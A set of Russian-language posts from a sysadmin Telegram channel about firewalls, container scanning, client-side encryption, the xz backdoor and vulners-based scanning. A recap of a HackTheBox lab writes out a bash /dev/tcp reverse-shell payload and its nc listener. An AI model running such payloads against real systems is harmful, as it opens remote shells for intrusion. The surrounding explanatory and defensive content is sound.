ServerAdmin.ru
28K subscribers
221 photos
26 videos
10 files
2.54K links
Авторская информация о системном администрировании.

Информация о рекламе: @srv_admin_reklama_bot
Автор: @zeroxzed

Второй канал: @srv_admin_live
Сайт: serveradmin.ru
Download Telegram
​​Пару лет назад я писал про удобную программу для контроля за сетевой активностью приложений в системе - Portmaster (поддерживает Windows и Linux ). Хочу ещё раз привлечь к ней внимание, особенно для тех, кто про неё не знает. Программа активно развивается и обрастает дополнительными возможностями. Чего-то более функционального и удобного и при этом бесплатного я не знаю.

Автор внедрил платные подписки с некоторой не очень существенной функциональностью. Основная платная возможность - сохранение истории приложений. Недавно он радостно сообщил, что наконец-то благодаря этим подпискам он полностью покрывает расходы на поддержку и развитие программы. Так что проект будет и дальше развиваться. Обещают начать разрабатывать похожее приложение для Android, если подписок хватит на оплату отдельного разработчика для этого.

Вся основная информация по программе есть в первой заметке. Кратко поясню, что это Firewall, который перехватывает все сетевые пакеты. Но при этом умеет ими управлять не только на уровне IP адресов и портов, но и доменов, приложений, системных служб. Последнее особенно удобно. С помощью Portmaster можно взять под контроль сетевую активность Windows. Посмотреть, куда и какие службы ходят. Выборочно их ограничить или полностью всё заблокировать.

У Portmaster удобное и наглядное управление. Он автоматически находит все установленные приложения и службы. Выводит статистику в различных разрезах и группировках. Есть обзорный Dashbord по всей сетевой активности системы.

Можно каждому приложению настраивать свои правила. К примеру, сделать один браузер, где жёстко блокируется всё лишнее, а во втором оставить чистый сёрфинг без каких-либо фильтров. Либо в каком-то браузере запретить конкретный сайт. Почтовому клиенту можно запретить любые сетевые подключение, кроме tcp портов, необходимых для получения и отправки почты.

В настоящее время Portmaster может выступать также в роли блокировщика рекламы на уровне списков сайтов и dns запросов. Всё это настраивается более гибко, чем в популярных блокировщиках.

В общем, продукт функционален и удобен. У меня давно витает идея в голове, как-то разделить в рамках одной системы рабочее пространство и развлекательное. Хочу сделать один браузер для работы, где будет заблокировано всё лишнее, в том числе развлекательные сайты, а второй для всего остального. Иногда руки сами тянутся открыть что-то отвлекающее и залипнуть, вместо того, чтобы доделать дела.

Сайт / Исходники / Видеообзор

#security
​​Тема с Portmaster получила очень живой отклик в виде сохранений заметки. Решил её немного развить и предложить альтернативу этому хоть и удобному, но очень объёмному и тяжёлому приложению. Тяжёл прежде всего интерфейс на Electron, само ядро там на Go. В противовес можно поставить simplewall. Это обёртка над Windows Filtering Platform (WFP) весом буквально в мегабайт. В репозитории все скрины на русском языке, так что автор, судя по всему, русскоязычный.

Компания Microsoft действует очень разумно и логично в своей массовой системе Windows. Закрывает наиболее актуальные потребности людей, замыкая их в своей экосистеме. Отрезает всех остальных от бигдаты пользователей. Её встроенных средств безопасности и защиты достаточно среднестатистическому пользователю. Нет необходимости ставить сторонние антивирусы или прочие приложения.

WFP - это набор системных служб для фильтрации трафика, охватывающий все основные сетевые уровни, от транспортного (TCP/UDP) до канального (Ethernet). Simplewall взаимодействует с WFP через встроенный API. То есть это не обёртка над Windows Firewall, как может показаться вначале.

Основная функция Simplewall - контроль сетевой активности. Вы можете заблокировать весь сетевой доступ, а при попытке какого-то приложения получить этот доступ, увидите сообщение от программы, где можно либо разрешить активность, либо запретить. Можно создавать готовые правила для тех или иных приложений.

Simplewall поддерживает работу с системными службами, приложениями из магазина, WSL, с обычными приложениями. Можно логировать сетевую активность приложений или служб. Несмотря на то, что используется встроенный системный инструмент, он позволяет заблокировать в том числе и обновления системы с телеметрией.

Особенность Simplewall в том, что все настроенные правила будут действовать даже если приложение не запущено. Реальная фильтрация выполняется с помощью WFP по преднастроенным правилам. По умолчанию, после запуска фильтрации, программа заблокирует всю сетевую активность. На каждое приложение, которое попросится в сеть, будет выскакивать окно с запросом разрешения или запрета сетевой активности. То есть это очень простой способ заблокировать все запросы с машины во вне.

#windows #security #network
​​Для автоматической проверки Docker образов на уязвимости (CVE) есть хороший open source инструмент Trivy. Год назад я делал по нему пару заметок с обзором и автоматическим исправлением уязвимостей. Потом всё это в небольшую статью оформил.

Этот продукт хорошо дополняет open source утилита Dockle. Она тоже проверяет контейнеры на уязвимости, но помимо этого проверяет образ на соответствие best-practice Dockerfile и рекомендации CIS Docker Benchmarks (#cis).

Использовать очень просто, так как это по сути одиночный бинарник. В репозитории есть пакеты для установки под все популярные системы. Можно запустить и в Docker без установки:

# docker run --rm goodwithtech/dockle:v0.4.14 [YOUR_IMAGE_NAME]

Пример отчёта можно посмотреть на тестовом образе, для которого есть замечания:

# docker run --rm goodwithtech/dockle:v0.4.14 goodwithtech/dockle-test:v2

С помощью ключа -f json вывод можно сохранить в json файле. Dockle легко интегрировать в пайплайн. В репозитории есть примеры (gitlab).

Исходники

#docker #devops #cicd #security
Заметка немного не по теме канала, но мне она показалась интересной, поэтому решил поделиться. В том числе для расширения кругозора. На днях посмотрел видео:

▶️ Hacking - O.MG Cable. 😈 Опасный кабель

Забайтился на заголовок, добавил ролик к просмотру и в итоге посмотрел. Речь там идёт про обычный usb провод с type-c на конце. В провод зашит небольшой чип c wifi модулем. Через этот чип и модуль можно эмулировать нажатия клавиш на компе и выполнять команды.

В целом, я всегда знал, что usb порты это потенциально опасные штуки и втыкать туда что попало нельзя. Но я не представлял, что устройства для скрытной деятельности настолько простые. Я думал, что это какие-то спецсредства, недоступные обычным людям или админам. Для которых нужно специальное ПО, которое пройдёт мимо антивирусов, запустится на компе и будет что-то делать.

А оказывается, можно купить вот такой простой проводочек за 100 баксов, а на aliexpress наверное и дешевле, и прикалываться над коллегами в офисе. На видео наглядно на конкретных примерах показано, как это работает. Очевидно, что всё то же самое можно делать и более скрытно.

Первое, что мне пришло в голову, когда увидел провод – это отличный подарок для какого-нибудь айтишника. Необычно и функционально. Не знаю только, насколько реально его купить в РФ. Сам автор канала получил провод на работе.

#security #железо
​​Расскажу про необычный, но на мой взгляд полезный сервис. С его помощью можно закрыть паролем переход по какому-то url, который по каким-то причинам нельзя или не хочется светить в публичном пространстве. Речь пойдёт про простой open source проект link-lock.

Link-lock шифрует сам url, используя при этом возможности браузера. На сервере ничего не хранится. Расшифровка тоже происходит в браузере клиента. После расшифровки урла, происходит редирект на закрытую ссылку.

Посмотреть, как это работает, можно на странице публичного сервиса, поднятого автором:

https://jstrieb.github.io/link-lock/

Он представляет из себя статичный сайт с javascript, так что вы можете поднять его у себя. Достаточно склонировать его к себе и положить в директорию с веб сервером. Единственный момент - он все ссылки создаёт через домен автора jstrieb.github.io. Чтобы использовать свой, просто замените везде в исходниках это имя на своё. Я это проделал, всё получилось.

Подобный сервис может позволить хранить список ссылок в публичных местах или компьютерах, доступ к которым невозможен без знания пароля. Параноики могут шифровать свои ссылки в каких-то облачных сервисах типа evernote или notion. Можно по почте отправлять какие-то ссылки, а пароль передавать другим путём. Таким образом в почте не будет отсвечивать эта ссылка. Например, так можно передавать ссылку на загрузку конфигурации VPN, не светя в переписки адрес веб сервера, на котором живёт веб интерфейс.

Исходники

#security
​​Знакомый вчера попросил помочь с компом с установленной Windows. Я давно уже особо не занимаюсь обычными компами и каких-то нюансов, современных проблем пользователей тоже не знаю. У меня дома 5 компов, на каждого члена семьи по одному. Вот это моя зона ответственности.

В общем, решил помочь. Симптомы такие, что ни в одном браузере ни один сайт не открывается. Ругается на то, что не может проверить сертификат. А сертификат там заменяет Kaspersky, так как он установлен, лицензия актуальна, все проверки стоят. При этом сам Kaspersky тоже выбрасывает ошибки: не может обновиться (хотя ещё вчера обновлялся), не может проверить лицензию. Хотя если зайти в ЛК Каспера, там видно, что лицензия активна.

До кучи AnyDesk тоже не может подключиться к своей сети. Выдаёт ошибку соединения, без подробностей. Так что подключаться мне пришлось через другой комп в локалке по RDP. Хорошо хоть этот доступ сработал.

Не буду томить подробностями того, что там делал (ребуты, проверки на вирусы и т.д.). Сразу скажу, в чём была проблема. Случайно увидел, что дата неправильная. Время и число верные, а месяц стоит апрель, а не февраль. Поставил правильную дату и сразу всё заработало. Кто, когда и как поменял время, осталось неизвестным. Сам знакомый говорит, что не делал этого. Я не стал разбираться. Проблема решилась, да и ладно. Сказал, чтобы следил за временем, если вдруг опять изменится.

Вообще, я удивлён, что неправильное время из будущего принесло столько проблем, что аж работу антивируса нарушило. По идее, антивирус должен следить за этим, если для его работы это критично. Я не раз сталкивался с тем, что проверки сертификатов не работают из-за неправильного времени, но тут одно к одному приложилось несколько проблем: anydesk и kaspersky. Сразу не пришло в голову, что это всё из-за сертификатов и невозможности их проверить.

По факту сейчас всё с использованием TLS работает, так что время очень важный параметр. Его мониторить надо. Во времена, когда Zabbix по умолчанию не умел следить за временем на хостах, я придумывал свои проверки. Потом они уже добавили в стандартные шаблоны это.

#windows #security
Вчера посмотрел очень интересное видео и прям кайфанул. Человек в режиме онлайн проходит задание сайта HackTheBox. Задание старое, за которое больше не дают баллы, поэтому по нему можно снять видео. Для тех, кто не в курсе, HackTheBox - популярная платформа с тестовыми заданиями для пентестеров, где надо что-то взламывать.

Само видео:
▶️  Прохождение Linux-машины средней сложности SANDWORM HackTheBox | КАК ПРОЙТИ SANDWORM.HTB

Тут может ничего особенного и нет, но я в таком формате ролики раньше не смотрел, поэтому очень зашло. Особенно мне понравилось то, что я всё понял 😀 Я примерно так себе и представлял взломы, но на практике никогда не видел реализацию. Многие инструменты, которые он использовал, я описывал у себя на канале в разное время.

Кратенько, что он делает на видео.

1️⃣ Исследует веб сервер с открытыми портами ssh, http, https. Обнаруживает, что веб приложение имеет уязвимость к инъекции шаблонов на стороне сервера (SSTI). На сайте есть форма, куда можно загрузить свой pgp ключ и зашифрованные им данные. И проверить, подходит ли ключ к шифровке. Так вот, в атрибуты ключа можно загнать payload в виде некоторого кода, который будет выполнен при загрузке ключа через форму, чтобы получить reverse shell. В payload он загнал bash -i >& /dev/tcp/10.10.14.20/1337 0>&1 и подключение ждал на 10.10.14.20 с помощью nc -lvnp 1337. Я об этом рассказывал вот тут и тут.

2️⃣ Далее он с помощью pspy стал наблюдать за всеми процессами в системе, не имея прав root. Заметил, что cron от root копирует и компилирует некоторые файлы на rust. К самим файлам не было доступа на запись, но там подгружался внешний модуль, куда уже можно было что-то записать. Залил туда payload и снова получил shell уже другого пользователя.

3️⃣ В завершении с помощью эксплоита получил выход из песочницы и получил права root.

В процессе работы активно использовал всевозможные линуксовые утилиты, в том числе веб сервер на python, про который я уже 100 раз писал.

В общем, видео интересное и интригующее. Даёт возможность посмотреть работу профи в режиме онлайн на его машине с привычными ему инструментами. В целом, для уверенного линукс админа нет никаких проблем переквалифицироваться в безопасника или пентестера, если есть такое желание. Это как раз база для таких направлений.

#security #видео
​​Расскажу про необычный и полезный сервис, который позволяет создать зашифрованные HTML странички, которые могут быть расшифрованы полностью на стороне клиента за счёт возможностей современных браузеров и JavaScript. То есть это полностью client side шифрование. На веб сервере лежит обычная html страничка. Никакой поддержки шифрования со стороны сервера не требуется.

Это простой, удобный и надёжный способ зашифровать какую-то приватную информацию и положить её полностью в публичный доступ. Посмотреть информацию может только тот, кто знает пароль. Он заходит на публичную страничку, видит форму для ввода пароля. Указывает его и получает доступ к данным. При этом сам html код зашифрован. Он может лежать на любом публичном хостинге. Расшифровать информацию можно только зная пароль.

Исходники сервера открыты:

https://github.com/robinmoisson/staticrypt

Можно развернуть его у себя и шифровать странички через свой сервис. А можно воспользоваться уже готовым сервисом, который доступен для всех желающих:

https://robinmoisson.github.io/staticrypt/

Указываете пароль, загружаете html код и на выходе получаете зашифрованную html страничку. Можно её скачать и открыть через свой браузер. Убедиться, что всё работает. Дальше можно положить её на любой публичный хостинг.

Такой сервис удобно использовать для публикации какой-то инструкции с чувствительными данными. Можно положить её в открытый доступ, а пользователям рассылать пароль, чтобы они смогли прочитать информацию.

Вот пример зашифрованной странички, которую я создал с помощью этого сервиса: https://serveradmin.ru/files/encrypted.html Пароль - serveradmin. Можете скачать html код и посмотреть, что он из себя представляет. В репозитории проекта описан принцип работы по шифрованию и расшифровке.

Напомню, что ранее я рассказывал про сервис link-loc, который похожим образом шифрует не саму страницу, а ссылку на неё. В связке с этим сервисом получается вообще полное шифрование и ссылки, и самой страницы.

#security
Начиная с пятницы, в сети наперебой постили новости с шокирующей уязвимостью в OpenSSH сервере CVE-2024-3094, которая позволяет получить доступ к SSH-серверу без аутентификации (на самом деле это не так). Якобы ей подвержены почти все современные системы. Я всю пятницу и субботу в сборах и дороге был, так что только вчера смог спокойно сесть и разобраться, что там случилось.

Сразу скажу, что если у вас Debian 11 или 12 можно вообще не переживать и не торопиться обновляться. Никаких проблем с найденной уязвимостью в этих системах нет. Заражённый пакет успел приехать только в тестовый репозиторий sid.

Расскажу своими словами, в чём там дело. OpenSSH сервер использует библиотеку liblzma. Насколько я понял, не все сервера её используют, но большая часть. Проверить можно так:

# ldd "$(command -v sshd)" | grep liblzma
liblzma.so.5 => /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007f4f01c9d000)

Уязвимой является версия библиотеки 5.6.0 и 5.6.1. Проверяем установленную у себя версию через пакетный менеджер. Для deb вот так:

# dpkg -l | grep liblzma
ii liblzma5:amd64         5.4.1-0.2           amd64    XZ-format compression library

Или напрямую через просмотр версии xz:

# xz --version
xz (XZ Utils) 5.4.1
liblzma 5.4.1

В Debian 12 указанной уязвимости нет, можно не переживать. В security-tracker есть отдельная страница по этой уязвимости. Там видно, что версия 5.6.1 была только в sid.

В rpm дистрибутивах нужно проверять версию пакета xz-libs:

# rpm -qa | grep xz-libs
xz-libs-5.2.4-4.el8_6.x86_64

Для 8-й ветки форков RHEL проблема тоже неактуальна. 9-й у меня нигде нет, там не проверял.

Вообще, история с этой уязвимостью очень любопытная. На самом деле она позвоялет выполнить произвольный код в системе, не оставляя следов в логах sshd. Подробный разбор работы есть на opennet. Сделано всё очень мудрёно и запутанно не без использования bash портянки, которая выглядит как обфускация. А обнаружили уязвимость случайно, потому что sshd стал чуток медленнее работать, чем раньше. А сколько таких уязвимостей есть в системах, которые ещё никто случайно не заметил?

#linux #security
​​Существует известный сервис для поиска уязвимостей vulners.com. Он платный и относительно дорогой, но при этом есть как бесплатные закрытые сервисы, так и open source продукты, которые вы можете использовать у себя. Покажу несколько примеров бесплатного использования.

1️⃣ Допустим, вы хотите выполнить разовый аудит системы, чтобы быстро понять, какие есть уязвимости в установленных пакетах. Для этого идёте на страницу https://vulners.com/scanner/audit, выбираете слева в меню Manual Audit. Указываете свою версию системы и получаете команду для выгрузки информации о пакетах. Для Debian она будет такая:

# dpkg-query -W -f='${Status} ${Package} ${Version} ${Architecture}\n'|awk '($1 == "install") && ($2 == "ok") {print $4" "$5" "$6}'

Копируете консольный вывод и вставляете в форму на сайте. Получаете результат и удивляетесь, как на свежеобновлённой системе может быть столько уязвимостей. Но если посмотреть внимательно, то почти все они некритические и обновлений для них нет и не будет, либо планируются только в будущем релизе.

Я удивился 10-ти бальной уязвимости по CVSS у tar от 2005 года (CVE-2005-2541). Суть её в том, что tar не информирует пользователя о том, что при извлечении файла у него могут стоять такие setuid и setgid, что сделает возможным запуск файлов с правами суперпользователя, если извлечение было выполнено из под него. На что в security-tracker дебиана разработчики дистрибутива ответили, что это его штатная возможность, в конце концов он же архиватор и поступает так, как ему указывают, ведь надо явно указать ключ -p.

2️⃣ Есть вариант проверять систему на уязвимости автоматически с помощью Agent Scanner. Для этого надо зарегистрироваться в системе и получить API для агента. Бесплатный тарифный план позволяет использовать до 10-ти агентов. Не знаю, насколько сейчас это актуально в рамках всевозможных санкций и блокировок. Я бы ставить не стал.

3️⃣ У vulners.com есть open source скрипт для nmap, который автоматически показывает уязвимости у обнаруженных служб. Вот это реально полезная штука, которая бесплатна, и её удобно использовать. Делается это так. Ставим nmap и клонируем себе репозиторий:

# apt install nmap
# git clone https://github.com/vulnersCom/nmap-vulners

В директорию ~/.nmap/scripts (если нет, создайте) скопируйте файл из репозитория vulners.nse. Теперь обновите базу данных:

# nmap --script-updatedb

Можно сканировать хосты с использованием базы данных vulners:

# nmap -sV --script vulners 192.168.13.15/32

Результат работы на картинке снизу.

4️⃣ У этого сервиса есть интеграция с Zabbix. Описание и все скрипты есть в отдельном репозитории. Эта штука когда-то работала. Я её пробовал. Некоторый лимит запросов есть через бесплатную учётку. Но работает всё так себе. Поддержки почти нет, с новыми версиями Zabbix сервера, где поменялся API, уже не работает. Когда обновят и будут ли - неизвестно. Так что не тратьте своё время, если вдруг надумаете посмотреть. Идея в целом неплохая, но поддерживать всё это хлопотно в том виде, как оно сделано.

#security #nmap